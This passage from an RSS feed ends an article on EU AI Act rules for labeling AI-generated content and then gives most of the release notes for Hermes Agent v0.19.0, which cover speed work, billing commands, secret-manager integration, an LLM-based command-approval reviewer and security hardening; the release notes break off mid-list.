<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
